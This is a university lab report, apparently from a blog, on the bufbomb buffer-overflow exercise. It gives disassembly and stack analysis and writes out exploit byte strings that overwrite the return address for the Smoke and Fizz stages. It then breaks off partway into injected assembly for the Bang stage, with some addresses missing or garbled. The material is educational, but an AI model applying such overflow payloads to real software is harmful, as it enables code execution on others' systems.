西北工业大学计算机系统基础考试,西北工业大学-计算机系统基础-实验报告-第3次.docx...

西北工业大学

计算机系统基础实验报告

姓名 班级 学号

实验成绩 指导教师

实验名称 缓冲区溢出攻击

实验目的:

通过使目标程序跳转到我们预定的位置执行,从而加深对IA-32函数调用规则和栈帧结构的理解。

实验工具:

linux、gdb调试器、反汇编工具objdump、将16进制数转化为ASCII码的工具hex2raw。

实验要求:

对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击,也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。

实验内容:

一、Smoke(让目标程序调用smoke函数)

本实验利用getbuf()函数不检查读取字符串长度的漏洞破坏该程序栈帧的返回地址从而达到对主程序造成破坏的目的。首先用objdump指令反汇编生成bufbomb的汇编语言文本文件。

可以找到getbuf函数代码如下:

080491f1 :

80491f1:55 push %ebp

80491f2:89 e5 mov %esp,%ebp

80491f4:83 ec 38 sub $0x38,%esp

80491f7:8d 45 d8 lea -0x28(%ebp),%eax

80491fa:89 04 24 mov %eax,(%esp)

80491fd:e8 08 fb ff ff call 8048d0a

8049202:b8 01 00 00 00 mov $0x1,%eax

8049207:c9 leave

8049208:c3 ret

位于<0x80491f7> 地址处代码为预读的字符串在栈帧创建了0x28(也就是40)字节的空间。具体位置可以通过gdb在下一行设置断点查找 %eax 的值得到。为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。由于保存的%ebp旧址占据了4字节所以当我们的输入字符串为48字节时,最后4位刚好覆盖返回地址。

首先,在bufbomb的反汇编源代码中找到smoke函数,记下它的起始地址。

08048c28 :

所以构造的攻击字符转总共48个字节,并且前面44个字节可以为任意值,对程序的执行没有任何影响,只要最后四个字节正确地设置为smoke的起始地址<08048c28>即可,注意使用小端方式写入。字符串为:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 28 8c 04 08

运行结果如下:

二、Fizz(让目标程序使用特定参数调用Fizz函数)

和smoke的区别是要求跳入函数 fizz() 且该函数有一个参数(要求用所给cookie作参数)。由汇编代码可以找到fizz函数的地址是08048c52 ,而且ebp存放了调用者的旧ebp,其上一位置ebp+4存放了调用者的返回地址,所以参数的地址应该为ebp+8的位置,只需要将自己的cookie放置在该位置即可。字符串为:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 52 8c 04 08

00 00 00 00 c3 7b 98 5f

运行结果如下:

三、Bang(让目标程序调用Bang函数,并篡改全局变量)

08048cad

可以知道bang函数的地址为0x08048cad,通过阅读bang函数的代码,可以推断出全局变量global_value和cookie的地址。

global_value的地址是<>

cookie的地址是<0x5f987bc3>

于是自己写汇编代码如下:

movl $0x5f987bc3, 0x0804d100

pushl $0x08

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值